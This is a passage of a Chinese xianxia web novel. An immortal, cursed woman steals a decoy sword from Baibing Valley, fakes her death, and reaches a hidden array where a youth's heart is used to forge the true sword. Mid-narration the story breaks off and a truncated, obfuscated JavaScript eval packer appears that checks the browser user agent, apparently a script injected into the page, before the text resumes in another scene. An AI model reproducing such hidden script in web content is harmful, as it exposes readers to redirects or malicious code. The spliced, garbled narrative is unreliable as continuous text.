《不死恶女偏要我杀她》 1. 偷剑不成 密林深处,黄昏将至,而纪宁在奋力奔跑。 刚倾身躲过向左肩射来的寒冰箭簇,下一秒右后方又绽出道道剑光,刚矮身避过了这凌冽剑光,一道火色长鞭又从空中扬起。 纪宁无奈地就地翻滚几圈,险险避开了长鞭的攻势,还不等站起身喘口气,下一轮攻击又紧随而来。 纪宁在闪避腾挪中抽空向后瞥了一眼,只见三个意气风发的少年正利用地势在树林间快速穿梭,身法灵活、配合默契,不时使出各式攻击,阻断敌人去路。 若追的不是自己,纪宁都要在一旁鼓掌叫好,边嗑瓜子边喝一声“英雄少年”! 可现在追的就是自己,纪宁便忍不住想要叹气。 … 半个时辰前,纪宁借助绝世轻功和巧妙身法,避开了所有巡逻护卫,神不知鬼不觉,从百兵谷集贤殿那守护严密的后院中,偷到了即将展出的“天下第一”宝剑。 可刚一个“鹞子翻身”跃出院墙,完美落地,正准备溜之大吉,就撞见了不好好在待客厅赏舞乐、品珍馐,反而蹲在后山里打野味、啃兔腿的三个活宝儿。 或许是纪宁手里那把放出幽幽蓝光的宝剑太过醒目,还不等她“解释解释”,三人就抄起家伙追了上来。 一路上纪宁使出各种精妙身法,又利用地势巧妙周旋,却都只是暂时摆脱,不一会儿这三个少年就像不散的鬼影般,又追了上来…… 想到这里,纪宁大声叹了口气,忍不住又回头看了一眼。 身后三人中,那玉冠华袍、三箭齐发的少年想来正是最近崭露头角的天才箭修凌云。 据说一箭穿云,一箭碎玉,曾于校场百箭连发,每一支箭都能穿透前一枝箭的尾羽而正中靶心,如今再看,不仅箭法精准,每道箭簇之中还暗含寒冰之力,冻结经脉,凝滞功法运行,令人防不胜防; 而旁边那剑眉星目却打扮简朴,一身破烂道袍,只以一枝木簪束发的道士,想来是成名已久的无锋剑柳无尘。 相传其人并非出自道门,却一直穿着道袍,背着木剑。木剑无锋,却剑意凌冽,其剑法至简至朴,没有花哨的剑式剑招,却招招式式直指对方破绽弱点,最不好对付; 再抬头看一眼那在树间灵活游荡,时不时趁机从空中给自己来一鞭子的红衣少女,纪宁的叹气声更止不住了。 “一鞭裂地分浊浪,一鞭破空洗碧霄”,这鞭法一看就是以一鞭入道的叶家家传,不知这位能以火法运鞭的叶家大小姐又是为什么纡尊降贵来这百兵谷凑热闹! … “三位少年英雄,我早就想问了,你们到底为什么一直追我啊!” 纪宁一边侧身躲过朝着肩腿而来的三发箭簇,一边忍不住高声朝后喊道。 那穿道袍拿木剑的道士见同伴的箭簇落空,立刻以一道剑光封了纪宁的退路,朗声回道: “道友,并非我们执意追你,而是你拿了百兵谷不日便要展出的宝剑,我们已经用传讯符告知了沈谷主,还请……” “柳古董!别叽叽歪歪的跟她废话!明明偷了百兵谷的绝世神兵,还好意思佯作不知,问我们为什么追她!” 那华袍少年的细眉高高挑起,满脸不悦的打断了木剑道士的话。 木剑道士没对被打断不满,只是平静的反驳:“不是古董,是柳无尘。” “古董古董老古董!我就叫了怎么?” “不是古董,是柳无尘!” 听着这对活宝儿讲相声,纪宁的大脑也忍不住溜了号,回忆从纷杂思绪中悄然伸出触角。 … 三个月前,天现异象。 素有“百兵之乡,炼器之首”之称的西南大派百兵谷的上空云雾翻涌,电闪雷鸣。 这黑云遮天蔽日、经久不散,众人惊疑不定,百般术法齐出却不能撼动分毫。 直至七七四十九天之后,从百兵谷后山深处射出的一道精光,破开了这连绵一个多月的黑云,在空中劈出了一道裂缝。 而这裂缝之中,正升腾着一团彤云,鲜红如血,如一只天帝之眼,悬挂在天际,凝视着整个百兵谷。 有人说,这是百兵谷将要练出斩天之剑,所以才引得天现异象,要用九天神雷将这斩天剑劈死在剑炉中; 还有人说,这是百兵谷历经几代掌门,秘密筹谋炼化的绝世宝剑将要出世。据说这宝剑能克制天下妖邪,斩断万物生机,一经出世,说不定便要顶替赤霄剑,夺得天下第一宝剑的名号; 而另有一条隐秘但出处更为可靠的消息,在各大门派高层中秘密流传: 这即将出世的宝剑与长生秘法有关,得到它的人就等同于得到了长生秘法的钥匙! 千百年来,万千修道者,无一人不求长生,却也无一人能得长生。 突然有这样关于长生的消息传来,哪怕知道希望渺茫,也令诸门派高层心中震动,纷纷派高手前往百兵谷一探究竟。 就在消息真真假假,众说纷纭,乱象将起之时,观星阁阁主夜观天象,断言曰: 诛邪斩魔,绝断生机,利弊相依,神剑出矣! 而藏书阁也在翌日宣布,已经拟定修改天下十大名剑剑谱,就等神剑现世,一“观”定音。 在观星阁和藏书阁陆续表态不久后,百兵谷终于向天下宣告: 谷中确有一柄绝世宝剑即将炼制成功,现正在最后的蕴养剑气阶段,百兵谷将于两个月后正式开谷迎宾,广邀天下同道,共赏宝剑锋芒。 消息一出,天下为之沸腾。 纪宁也在这沸腾之列,不过她和天下躁动沸腾的其他人都不一样。 并非贪爱宝剑锋芒,也并非贪慕长生仙途——而是为了…… 正想着,那在树间游荡的红衣少女突然跃下,一道长鞭势如烈火,从左上方横扫了过来。 纪宁紧急腾空跃起,在路过的树干上借力轻点,巧妙避开了这颇有破空裂地之势的一鞭,再看身后,那两人合抱粗的树干已四分五裂,轰然倒地。 那红衣的叶家大小姐见一鞭落空,却不急躁气馁,反而更兴奋似的追了上来。 “不愧是偷了百兵谷神兵的贼人,身法实在精妙!这趟出来真是长见识了!”随后头也不回的朝后喊道: “喂,凌小鬼柳呆子!我可不在乎什么神兵什么谷主,但既然这贼人被我们先遇见了,就一定要抓到,成就我初入江湖的第一桩义事!” 听了这话,华服少年和木剑道士同时愣住,随后齐声回道: “不是小鬼!” “不是呆子!” 望着身后眼看就要拌起嘴来,却仍不忘追击自己的三个小鬼,再看看手中剑气逼人、寒光四射、散发出阵阵灵力光晕的百兵谷“绝世神兵”,在三个活宝儿的视线死角处,纪宁一边奔逃,一边拿下随身玉佩,偷偷划了自己一剑。 那能斩金截玉的利刃轻易地破开皮肤,露出一抹肉色之下的深红,但本该继续破开经脉、斩断骨头,直至手腕滚落、鲜血泼洒的剑锋却吃了瘪,那刚被破开的皮肤里血肉涌动,一眨眼的功夫就恢复如初,连划痕都不曾留下。 看着自己光洁如新的手腕和同样光洁如新、血不沾刃的剑锋,纪宁撇了撇嘴,不得不挫败的承认,这把剑可能真的是一把好剑,但绝不是自己要找的,被观星阁阁主断言能“绝断生机”的神兵。 因为,纪宁大费周折来偷剑,并非贪爱宝剑锋芒,也并非贪慕长生仙途 ——而是为了杀死自己。 可一把连伤害自己都做不到的剑,纪宁心想,又怎么可能是自己要找的,能带给自己安眠的神兵呢? … 三百年前,在某处山谷的落日中,纪宁被诅咒了,她被一个精怪诅咒长生不死。 最开始,她还以为这是祝福。 但随着岁月流逝,身边的人们逐渐老去死亡,不仅与亲人朋友阴阳两隔,甚至仇人也熬不过时间归于尘土,就连纪宁最初的名字也遗落在岁月长河中,不闻一丝回响。 直到此时,她才渐渐懂得诅咒的含义。 长生,为世间常理不容,与尘世循环互斥,所以真实拥有长生的纪宁也被这个世间所厌恶。 她身边的人们总是容易遭遇意外,她所住的地方也总是容易发生灾祸,而这灾祸的影响范围随时间流逝越来越大。 从最开始的一隅之地,到一个村子,再到一整个县,十年难得一遇的暴雨使河流决堤,百年不曾听闻的干旱让土地开裂,又有地动山摇、天火蔓延…… 纪宁在苦寻解决之法无果后明白了自己的末路,自己的长生是以破坏整个世界的基底为食的,要么为了长生将整个世界葬送,要么为了整个世界去死。 于是纪宁决定去死。 在尝试过跳崖、溺水、剖腹、自刎等众多死亡方式后,纪宁绝望的发现自己获得的诅咒不仅是“长生”,也是“不死”。 不论以何种外力破坏身体,哪怕已支离破碎,也会在吸取周围生机灵力后复活。 时间越过越长,诅咒越积越深。 几百年后的如今,纪宁活着的每时每刻,都在大量消耗世界的灵气,而想要终结自己生命的每一次尝试,得到的只有完好无损的身躯和日益凋敝的大地。 就在纪宁即将绝望之时,她在藏书阁前代阁主的帮助下,找到了一本上古精怪所作的古籍,其中记载着这样一个仪式: “一颗真心,一把利剑,一滴毫无悔恨的眼泪。 当真爱之人的利剑毫无悔恨的刺穿被咒者的胸膛,这世间最恶毒的诅咒也告终结。” 最开始纪宁对此将信将疑。 一个爱着自己的人怎么能毫无悔恨的杀死自己? 一个能毫无悔恨的杀死自己的人又怎么会爱自己? 这简直是无稽之谈,纪宁想。 但为了解除诅咒,她还是去尝试了。 先设法让人爱上她,再强迫那人杀了她,爱她的人痛不欲生,纪宁却始终坚定不移。 在一次次控制变量的实验后,纪宁发现,那些对她心怀善意和爱意之人,的确能让伤口在她身上停留的更久。 怀有的感情越是强烈,伤口恢复所需的时间就越是长久。 纪宁开始确信,只要有一个真爱之人,能怀着赤诚之意,毫无悔恨地将利剑刺入自己的胸膛,那时她就能解除诅咒、迎来死亡,陷入渴望已久、永不醒来的甘美长眠。 纪宁什么都要最好,她要这世间最锋利的宝剑,也要这世间最真的真心。 真心的良人她已有人选,锋利的宝剑却还没有着落。 就在纪宁想冒险潜入皇宫,偷那把藏于深宫中的赤霄剑时,西南地区云雾翻涌、天现异象,纪宁听闻,百兵谷即将有神剑出世,绝断生机,堪当第一。 纪宁当即决定要来偷剑。 不仅是对这世间最锋利宝剑的渴求,纪宁的心中还燃起股隐秘的期待: 或许,那把传闻可以断绝生机的神剑,能带给自己另一条路? 一条无需解除诅咒,也能永世长眠的死亡之路。 … 而如今,纪宁手中的宝剑光华璀璨,闪着莹莹幽光,看起来很像是一把绝世宝剑,纪宁也很希望它真的是一把绝世宝剑。 但很可惜,那并不是她要找的那把可以杀死自己,终结不死之身的天下第一神兵。 纪宁相信,“天下无双阁有双”的观星阁和藏书阁都不会无的放矢,能断绝生机的神剑真的存在,却不是自己手上这把,那就只有一个可能了—— “就知道沈小狗不会那么大度,摆个假货装样子,还有脸邀天下同道共赏,赏个屁啊!”纪宁破口大骂。 眼看着再向前跑就要冲出密林,而密林之后就是百兵谷后山那片千仞悬崖。 纪宁难得起了点善心,不想一会儿的计划牵连到三个活宝,索性停下了奔跑的脚步,扭头向后方三人喊道: “三位少侠身手不凡,实在是我所不能敌,我认输!我认输!” “诈降?哼,以为我们是初出茅庐的小鬼,会被这种把戏骗到吗?” 华袍少年凌云冷哼一声,正准备趁机攻上前去,就瞥见身旁的柳无尘真的停了下来,甚至准备收剑行礼,顿时气的鼻子都歪了,连就在眼前的“偷剑贼”都顾不上,只想踹一脚这白痴臭道士。 但还不等他行动,那“偷剑贼”又说话了。 “穿云碎玉箭凌云,木剑无锋柳无尘,两位都是如今年轻一代的佼佼者,和我这么一个小贼计较什么呢?” 纪宁笑盈盈地叫破了两人的身份,随后双手将那把刚刚从百兵谷山门内偷出的假“绝世宝剑”捧起,继续道: “小贼我只是实在好奇,这传闻中能引起天地异象的神兵到底长什么样? 心痒难耐,辗转反侧,只想提前一睹风采。 如今既已得偿所愿,便麻烦三位少侠物归原主,拿回去给沈谷主交差吧。” “哈?!连环计?” 华袍少年凌云的两道细眉惊疑地蹙起,满脸不信的质疑道: “要真是只想看看,那你刚才跑什么?还被我们追这么远……” “你都知道他们,怎么不知道本姑娘我?”那红衣姑娘此时也停了下来,居高临下的站在树梢上,语气明显不满的对着纪宁握了握鞭子。 纪宁也不恼,仰头笑了笑说道: “这位少侠,你使得一手好鞭法,一定是出自鼎鼎大名的叶家,只是可能初出江湖……” “本姑娘的名字是叶灼华,桃之夭夭,灼灼其华的灼华,日后一定会名扬天下,你可要记好了!” “等等,现在是计较这个的时候吗?” 凌云恼火起来,“她千辛万苦潜入百兵谷偷剑,就只是为了看一眼?这谁信!” “趁兴而来,尽兴而归,虽然不告而取并非善事,但道友此举颇有名士风范啊!”柳无尘一脸感慨的抱拳行礼,“在下无锋剑柳无尘,敢问阁下是?” “柳古董!” “柳呆子!” 华服少年和红衣女侠一齐恼火喊道,制止了柳无尘想要上前结交的心思,随后又警惕的将目光转回到纪宁身上。 “唉……” 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火在燃烧,风在呼啸,纪宁在奔逃。 密林中,纪宁用火符引发的爆炸和随之而起的浓烟实在太过醒目,哪怕三个少年并没有用传讯符告知众人方位,也吸引来了足够多的宾客。 水云观的大师姐最先赶到,随手打出几组强力水符,便平息了即将燃起的森林大火,几刻之后,又有数十人陆续赶来。 “那就是偷了百兵谷宝剑的贼人?” “估计是,听说偷的还是观星阁阁主夜观星象,断言神剑出矣的那把!” “就她?百兵谷守备这么放松!早知道我也去试试了。” “哈哈,你现在去试也不晚!” 有人聚在一起挤眉弄眼,八卦讨论; 有人却只在一旁隔岸观火,抱胸看戏; 有人盯着宝剑眼露贪婪,跃跃欲试; 有人却已经一锤子砸了下来,一马当先,要来试试纪宁的斤两。 纪宁一个闪身,轻巧的避开了直冲面门而来的重锤,随后不退反进,一剑挑断那壮汉的手筋,重锤随之脱手摔落,眼看就要砸中壮汉自己的脚。 可纪宁却来不及看笑话,一柄长剑刹那间已朝着她的脖颈刺出,而密林暗处,几把飞刀也正瞄准她的后心蠢蠢欲动。 纪宁即刻转身回挡,与此同时甩出几道火符,朝那飞刀主人的要害而去。 木火水土,剑刀枪棍,各式武器裹挟着各色灵力,接二连三朝纪宁攻来。 纪宁没有应接不暇,反而愈战愈勇,以一人之力硬接数十人的招式术法,一边战斗一边游刃有余的朝着密林外移动,将众人引到了悬崖边一处空旷之地。 一旁围观的“少年英雄”三人组这时才惊觉,之前的追逐中,纪宁只是在跟他们“玩玩”,未动真章,也不曾伤人分毫。 旋身,出剑,拧腰,扔符。 纪宁在数十人的围攻中巧妙周旋,身法飘忽又利落,在各种武器的攻势中擦身而过,就像一只飞鸟惬意灵活的在林间穿梭。 但鸟总有停翅之时,人也总有力竭之刻。 一轮接一轮没有尽头的战斗,即便是纪宁也逐渐力不从心,难以招架。 终于,在又一次的围攻中,纪宁受了重伤。胸前的玉佩摇摇晃晃,纪宁的伤口也越来越多,血渐渐染红了整个衣袍,滴落尘土之中。 “嘭——!” 纪宁脚下突然现出一只木手,破开染血的黄土就要抓住她的脚腕,而与此同时,身前身后正有一刀一剑,飞速向她袭来。 值此危急时刻,稍有不慎便要身首异处,纪宁却不慌不忙。 足尖点地,凌空跃起,避开了这个潜行至她脚下的地傀后,拼着一道胳膊的刀伤,先挡住了剑的攻势,随后反手挑飞了那把还沾着自己血的环刀,又扔了几道火符钻进地底,烧了那地傀的核心,这才退至悬崖边上。 “她为什么还能动?”那持剑的青衣剑客轻问。 “她为什么还能战?”那地傀的主人摸不着头脑。 “流了这么多血,一般人早就流干了!”那铁锤砸了脚的壮汉气急败坏的大喊。 “她怎么还没死?”众人惊疑。 是啊,为什么自己还没死呢?自从被诅咒后,这个问题日日夜夜都在纪宁的脑海中回响。 站在悬崖边上,纪宁又后退一步,将半只脚掌悬空,明明在跌落的边缘摇摇欲坠,却毫不关心自己的安危,只笑着将那宝剑抛起又接住,对虎视眈眈的众人说道: “如果我掉下去摔死了,那这把剑,诸位就各凭本事,先到先得喽?” 话音刚落,百兵谷正中心,那悬浮在空中的炼器巅峰之作,威严矗立、高高在上的铸心殿内突然爆发出一股极强的灵力威压。 风簌簌而起,掀开绿浪,那灵力威压扫过众人,却在悬崖边猛的止住,纪宁察觉到,随那灵力而来的视线正死死凝视着自己。 正在此时,一声剑啸冲天而起,一抹灰影直奔战场而来。 望见远处御风而来,即将赶到的沈铸,纪宁心想,是时候了。 纪宁扭头向后看去。 夕阳西下,残阳似血,一轮红日静静挂在悬崖顶上,天与地的边缘也仿佛要融化在那一抹血色之中。 正如三百年前那个午后,满溢鲜血的山洞外升起同一轮血日,而挡在她身前,不让她出洞的女孩的瞳孔,比那血日更鲜红、更炽热。 那时的纪宁像着了魔似的,无力的瘫坐在女孩身前,任由那孩子用满是伤痕的双手捧起她的脸。 “姐姐,我祝福你。” 女孩虔诚地闭上眼睛,将额头贴上纪宁的眉心:“我以日月,以星辰,以江河湖海和所有我死去的族人起誓,我愿意用生命祝福你——长生不死。” 随着誓言一字字许下,女孩也一点点化作萤火,萦绕在纪宁身周,直至最后一个音落下,万千萤火争先恐后地涌入她曾和女孩相贴过的眉心。 那时纪宁并不知道,这祝福实则是恐怖的诅咒,只是突然觉得很冷。 正如此刻,她转身欲跳,就要从崖上一跃而下,一柄银蛇小剑却倏忽从她眉心穿过,一样冷。 风带来了声音。 “诸位同道勿需担心,此贼已除。” 一股灵力牵引着纪宁手中跌落的宝剑升至空中,落到一个身着银灰锦衣,不怒自威的青年手中,正是百兵谷谷主沈铸。 浑厚的灵力包裹住声音,响彻整个山谷:“今日是谷内看守不严,才让贼人钻了空子,惊扰诸位了。三日后宝剑开匣仪式正常举行,执事们已在集贤殿内备好佳肴薄酒,还请诸位赏光。” 听了这话,悬崖上适才还蠢蠢欲动,你争我抢的人们又都恢复了高人面貌,互相拱手,和气一团。 而纪宁什么也听不到了。 她沉沉向后坠去, 直入悬崖之底。 … 2. 悬崖下的少年 悬崖之下有一汪寒泉,寒泉之中有一座石台,石台上正端坐着一个散发少年。 少年终日在石台上打坐,日升月落,斗转星移,也不曾移动分毫。 在这一汪寒泉之中,除了这散发少年,唯一的活物便只有蛰伏在寒潭之底的灵鱼。 少年早已习惯了这日复一日的独处,每天数着心跳打坐,静静等待着某日,有人前来剖开自己的胸膛。 但今日,事情有些不一样。 … 夕阳铺洒,霞光给潭水镀上了一层绯色,远远望去,像是水着了火。 这是少年一天中第二喜欢的时刻,能让少年在这寒潭中也感受到丝若有似无的暖意。可还没等少年享受多久,这片刻的温暖就被一具从天而降的尸体打破。 那尸体如流星击坠般砸入水中,激起一潭泉水,浇了少年满头满脸,衣发尽湿。 少年这边狼狈不堪,而那“罪魁祸首”的尸体却不言不语,静静沉入潭中,在水波荡漾间,缓缓开出一朵血花。 随着血花一起飘荡而出的,还有一个挂在尸体脖子上,似是玉佩却闪着萤光,飘飘摇摇像是要向天上飞去的奇怪器物。 死人常见,那似玉非玉的器物却实在让少年好奇。 纠结片刻,看天色虽是落日将尽,却仍是白天,灵鱼们还不到吃饭的时候,少年最终还是走出石台,腰部以下浸在冷若刺骨的寒潭水中,向那朵水中血花走去。 走到尸体边上,刚一拿起那古怪器物,少年便察觉,身周灵气随着那器物的取下,变得异常躁动不安。 可还不等他有所反应,躁动的灵气便像饿狼终于找到了目标,直冲那尸体而去。 霎时间,整个寒潭的灵气都被调动起来,甚至隐隐凝成实体,成漩涡状涌入那尸体的眉心。 随着灵气涌入,那布满刀口剑伤的尸体肉眼可见的修复起来,转瞬间便恢复如初。 而几息之后,时隔多年,少年终于再一次听到这寒潭之中,除自己之外,第二个鲜活的心跳。 … 又一次,纪宁陷入了死亡的凉爽黑夜。 一片混沌之中,纪宁看到了点点萤火,碧色的萤火飘飘荡荡,从她身体的伤口里浮起飞走,顺着某种浪潮,和周围散落的萤火聚在一起。 萤火们互相追逐,缠绕嬉戏,有的星星点点孤伶伫立,有的三五成群如胶似漆,有的聚成庞然大物,又突然四散崩开,无数萤火汇聚流淌,组成了一条永远奔流,永不止息的萤火长河,而纪宁正置身这河流之中。 从身上浮起的萤火越来越少,纪宁知道,当萤火流尽,就会迎来真正的死亡,但她一点也不担心,因为她知道,她拥有精怪的“祝福”。 果然,在萤火即将流尽,意识模糊飘摇的时刻,纪宁那曾被银蛇飞剑洞穿,也曾被精怪额头相贴的眉心突然爆发出一阵刺痛,像是被烈火灼烧,又像是被寒冰贯穿,浮现出一个复杂的纹路,隐隐像是个张开的血色眼睛。 这纹路有莫名的吸引力,萤火们像是追逐饵食的鱼群般蜂拥而至,随着萤火涌入,纪宁的眉心仿佛被撕裂,身体却逐渐感到温暖。 一股暖流流经四肢经脉,纪宁受伤的血肉疯狂生长,几息之间便恢复如初,心脏也再一次开始有力的跳动。 随着心脏越来越有力的跳动,潮湿深重、阴冷窒息的真实潭水取代了温暖的萤火河流,纪宁再一次开始呼吸,不出所料的呛了一鼻子水。 “咳咳咳……” 冷水顺着鼻腔呛进喉咙,难耐的生涩刺痛让纪宁鼻子发酸,咳嗽出声,顺着本能双脚一蹬,蹭的一下从水里站了起来。 猛地吸了几口气,鼻子酸痛,喉咙呛疼,纪宁却觉得此刻才真的活了过来。还不等她洋洋自得,发表一番“果然进来了”的胜利感言,眼前突然出现的人影让她吓了一跳。 那是一个少年,长发披散,青衫尽湿,眉毛和唇峰间也隐隐有抹水意,眼睛却清亮专注得盯着纪宁。 纪宁霎时间抛下了藏剑阵内为何有人的疑惑,情不自禁感叹道:“好一个美艳水鬼!” 却见那少年微微蹙眉,上下看了看纪宁,诚恳说到:“我不是水鬼,你现在的样子更像水鬼。” 听了这话,纪宁忍不住低头打量了下自己。之前在悬崖上战斗时,被刀砍、被剑刺、被鞭砸、被符烧的,好不凄惨。 此时身上一个伤口都没留下,衣服上的“伤口”却都还在,破烂的衣服上渗着斑驳的血迹,正淅淅沥沥滴出水来,除了没有泡肿,的确像个惨死的水鬼。 “不碍事儿,我是惨死水鬼,你是美艳水鬼。”纪宁抹了把脸上的水,接着说: “既然同是水鬼,咱们就都是自家人了,我向你打听个事儿。” 纪宁一把抓住少年的胳膊,阴测测地笑着道:“我记着这里应该是百兵谷秘密蕴养神剑的地方,怎么这么半天下来,只见着你,没见着剑——” 纪宁突然变了神色,阴测测的笑还挂在嘴角,眸中却只剩狠厉的专注,一双眼睛像钉子似的要把少年盯穿,容不得一句谎话,“剑呢?” 少年却面色如常。 “我就是剑。你是来取剑的?” “哎?”纪宁刚刚还狠厉的表情,一下子变成了茫然,等回过神来,整张脸都不自觉的皱了起来。 “你说你就是剑?看起来倒是一表人才,没想到脑子有问题……” “我就是剑。”少年肯定地重复道,“不信的话,你自己来看。” 少年反掌牵住纪宁的手,按到自己的胸膛之上,刚刚隔着湿衣触到温热的体温,纪宁便觉出不对。 一般人的灵力顺着经脉流经四肢百骸,最后沉入丹田之中,所以丹田之处一般是灵力最盛之地。 而这个不知名的少年心脏处的灵力却强大凌厉到诡异的地步,一般人怕不是早被这股灵力搅碎了心脏,但这个少年此时却好好站在这里,呼吸清浅正常,难道……? 纪宁当即分出一股灵力,由指尖跳出,钻入少年的胸膛。 不用再多靠近,纪宁便通过那一缕灵力带来的灵观看到了少年胸膛之中的状况,那鲜活跳动的心脏之中,赫然包裹着一柄金色飞剑! 飞剑绝非刚刚刺入,那顺着剑锋攀附而上的血丝,和深埋进心脏与血肉长为一体的剑尾,无不表明这飞剑早在数年前便存在于这少年的胸膛之中。 每一次心脏跳动,都带着少年全身的灵力精华来蕴养这柄金色小剑,这飞剑也早已和这少年的血肉融为一体,以少年的灵力和气血为供养,淬炼自己的剑身,随着少年日渐长大,灵力渐丰,这把飞剑也日益锋利。 想来这就是百兵谷能炼出神兵的秘密——以一个天赋绝佳的活人为炉鼎,以活人气血和灵力为炉火,不断淬炼蕴养剑胚,数十年如一日,才终见神兵锋芒。 纪宁犹在发现百兵谷活人炼剑秘法的震惊之中,那少年却又问了一句:“你是来取剑的吗?” “取剑?可以算是吧。” 偷剑自然也是一种取剑,纪宁心想。 … 一帘雨涨江湖秋,一楼风知天下事。 几日前,纪宁从号称“知尽天下事”的听风楼收到秘密情报,提前潜入百兵谷内的线人说,最近谷内诸事如常,只有一处不对,那就是后山悬崖下有点太安静了。 后山荒僻,平日这里安静没什么不对,但最近百兵谷内暗潮涌动,到处是提前来谷准备观礼的宾客,四处走动打听消息的线人,和悄悄潜入东钻西窜的暗探。 处处热闹,唯独这里安静的不寻常。 线人也曾想深入查探,但却难以接近,还差点被发现,想来是有特殊阵法布置。 而在收到听风楼的情报后,纪宁联想到了一个她曾隐隐听闻的护山阵法,困龙阵。 据藏书阁内部秘闻卷记载: 困龙阵,一个强力的禁制法阵,隐秘而自带幻术效果。 一经开启,便可使阵内一切难以被外界察觉,并带有非常强力的防护效果,不论活物死物,只要妄图进入法阵,一律攻击弹出。 此法阵是百兵谷一直秘传的护山大阵,毕竟匹夫无罪,怀璧其罪。 百兵谷世代以铸剑炼器为尊,不知多少代“天下第一剑”和多少“世间名器”出自他们之手,有人眼红心痒,举派来夺之事虽不常见,却也时有发生。 这困龙阵正是为了在此等危急时刻,保护谷内名剑不被抢走,弟子不被屠杀,门派得以保全传承。 困龙阵一旦开启,便难以从外击破或关闭,只有百兵谷谷主可以凭借谷主令牌,暂时开放入阵通道。 在藏书阁确认了这个秘闻为真后,纪宁便有所猜测: 或许百兵谷广邀天下同道,要在集贤殿共赏锋芒的那把“绝世宝剑”只是个幌子,真正的神剑,其实藏在悬崖下的困龙阵中。 纪宁最终决定先去集贤殿看看。 若集贤殿那把剑的确名副其实,便偷走了事; 若只是个假把式,就借偷剑之名,尽力闹出大动静,将谷内宾客都引到法阵所在的悬崖前。 纪宁再佯装被围攻至绝境,要跳崖求生,以此逼百兵谷谷主沈铸现身。 纪宁赌沈铸不愿让自己在众人面前跳崖,那样会触发禁制,引起法阵反击,却也来不及在众目睽睽下,阻止自己的行动。 可若不做任何措施,悬崖上的宾客都会注意到此地的反常,从而发现崖底的秘密。 那就只能在纪宁跳入禁制前杀了她,并短暂打开法阵通道,任由她的尸体如常理般掉入悬崖之底。 毕竟纪宁已经死了,没人怕死人知道秘密。 但沈铸不会想到,纪宁是“不死”的。她并不会真的死去,反而能借此机会深入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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据纪宁这次的观察来看,这少年心中的飞剑锋芒已成,却还差一股气势,在这点上沈铸倒是没有说谎,这把心脏中的神剑,还在最后的蕴养剑气阶段。 若是现在就杀了少年,取剑而出,怕是会损失这一抹还在蕴养中的剑气神韵。 可若是不杀了他,又该怎么得到这天下第一剑呢? 这边的纪宁还在内心权衡,那边的少年却浑然不觉,乖乖的依言“等”了会儿,然后又开始凝聚剑意,准备刺向自己的胸膛。 看着锲而不舍想要“自杀”的少年,纪宁头都疼了。 “你知不知道,这样取完剑后会死的。” 少年点了点头。 “我知道,但我总是要死的,这就是剑奴的命运。” 此时夕阳已去,群星渐起,寒潭之中另有一片星河点点,藏在水幕之下,随着水波轻轻摇荡,而少年清亮的眼睛也正映在这虚假天河之中。 “沈谷主说,我是为了养剑而生的。我的使命就是好好修炼,以自身灵力与精血供养这柄剑,直至神剑锋成。” 少年心里明白,那时便是他短暂一生的尽头,“之后自会有人剖开我的胸膛,捏碎我的心脏,取剑而出。” “所以你才一直问我是不是来取剑的?看来是把我错认成了来杀你的人。” 纪宁笑笑,“你别怕,我不是来杀你的,我也不是来取剑的,我来这儿,是偷剑的。” 纪宁装模作样的咳嗽了两声,清了清嗓子,捏起股说书人的腔调说道: “试问什么是偷?神不知鬼不觉间为我所用!直接捏碎心脏这种粗暴的活儿,可不符合我的艺术。” 少年却摇了摇头,说道: “我知道你不是沈谷主派来取剑的人,你既没有拿着谷主的令牌,身上也没有百兵谷的标识。” “哦?没想到不是傻子。”纪宁起了点兴趣,“那最开始问我是不是取剑,是在试探?” “不,”少年接着摇头,“我只是想,既然总要死,总会有人来取剑,那么不管那人是沈谷主还是你,或其他什么人,又有什么区别呢?” “自然有区别……” “不管你是要取剑还是偷剑,都尽快动手吧。” 还不待纪宁好好掰扯一番这其中的人生道理,少年就打断了她的话,紧接着抬头看了眼天色,面上带了些焦急。 “快点,再不动手就来不及了!” “什么来不及?难道剑还会跑?” 纪宁有些摸不着头脑,要杀的人催自己尽快动手,这对吗? 是不是悬崖太高,把自己脑子给摔坏了,现在看到的都是幻觉? “剑不会跑,我也不会跑,但星星马上出来了,到时候我们都跑不了。” 少年语速飞快,说着就又聚起剑意,按向自己的胸膛。 … 3. 少年无名无姓 纪宁没了耐心,头疼的再次出手。 先打散少年手心正凝聚起的剑意,然后一把扭过他的肩膀,将这疑似“脑子有问题”的剑奴少年的两只手都扭在身后,控制起来。 还不待纪宁细问,耳边忽然传来一阵细微的声音,水下像是有什么东西,正在划开水波,游上水面。 纪宁凝神去看,只见一群晶莹剔透的大鱼,正摆动它们丝绸般飘摇的长尾,施施然向水面游来。 看着那透明鱼身中流动闪耀的五色灵力,纪宁忍不住在内心暗骂: 这沈狗!不仅用活人炼剑,怎么还在这寒潭中养灵鱼! 灵鱼,又称噬灵鱼,是一种罕见珍贵的灵宝。 其身透明,可以自发的吸收过滤身周灵气,将驳杂的天地灵气凝聚成纯粹的灵力,既可助人修行,也是炼制法宝丹药不可多得的好材料。 因其吸食灵气的天性,对修行之人非常危险。如果不小心落入灵鱼鱼群之中,轻则力竭,多年修行一朝废;重则可能被吸至生机全无,身死道消。 灵鱼从湖底游出,吞噬星光和灵力,而体内有着灵力运转的两人自然也成了灵鱼的目标。 “沈铸到底什么毛病?为什么在你这大活人呆的地方养噬灵鱼,还偏偏这时候出来!”纪宁有些气急败坏。 “这里的灵鱼是沈谷主专门培育来吸食夜间灵力的,所以一到晚上,星光显现的时候,便会从湖底出来。”少年在纪宁手下,老实说道。 “呸!沈小子行啊,活人炼剑不够,竟然还养上鱼了,怎么不干脆去当个渔夫!” 眼看着灵鱼将至,无处可躲,纪宁没想到偷剑不成,今日竟要葬身鱼腹。 一想到被鱼吸干灵气后,这被诅咒的身体又会反过来吸鱼体内的灵气,吸来吸去,反反复复,永无宁日,纪宁就忍不住悲从中来。 … 就在纪宁焦急如何脱困之时,少年保持着被反扣双手的姿势,努力拉了下她破烂的衣袖。 “那边是我平时打坐的石台,其上有阵法布置,能避开鱼群的灵力吸食。”少年边说边用眼神示意纪宁转身。 寒潭中央,纪宁身后,正有一座之前没被注意到的小石台。 “那还等什么?快走吧——” 看到石台的纪宁眼前一亮,不由分说就要扯着少年过去。 “只是……”少年欲言又止。 